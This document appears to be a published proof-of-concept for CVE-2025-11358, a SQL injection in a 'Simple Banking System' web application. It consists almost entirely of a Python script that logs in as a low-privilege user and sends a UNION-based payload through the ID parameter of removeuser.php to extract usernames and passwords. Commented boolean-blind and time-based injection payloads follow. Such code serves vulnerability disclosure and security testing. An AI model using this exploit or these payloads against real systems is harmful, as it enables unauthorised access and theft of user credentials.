CVE-2025-11358：Simple Banking System SQL注入漏洞

# CVE-2025-11358 PoC - SQL Injection in Simple Banking System # Vulnerable endpoint: /removeuser.php # Vulnerable parameter: ID import requests # Target configuration TARGET_URL = "http://target-site.com" LOGIN_URL = f"{TARGET_URL}/login.php" REMOVE_USER_URL = f"{TARGET_URL}/removeuser.php" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to obtain a valid session (low privilege required) session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } session.post(LOGIN_URL, data=login_data) # Step 2: Exploit SQL Injection via ID parameter in removeuser.php # Malicious payload to extract database information using UNION-based injection malicious_id = "1 UNION SELECT 1,username,password,4 FROM users-- -" payload = { "ID": malicious_id } # Step 3: Send the malicious request response = session.get(REMOVE_USER_URL, params=payload) # Step 4: Analyze the response for leaked data if response.status_code == 200: print("[+] SQL Injection successful!") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") # Alternative: Boolean-based blind SQL injection payload # malicious_id = "1 AND 1=1" # True condition # malicious_id = "1 AND 1=2" # False condition # Alternative: Time-based blind SQL injection payload # malicious_id = "1; SELECT SLEEP(5)-- -"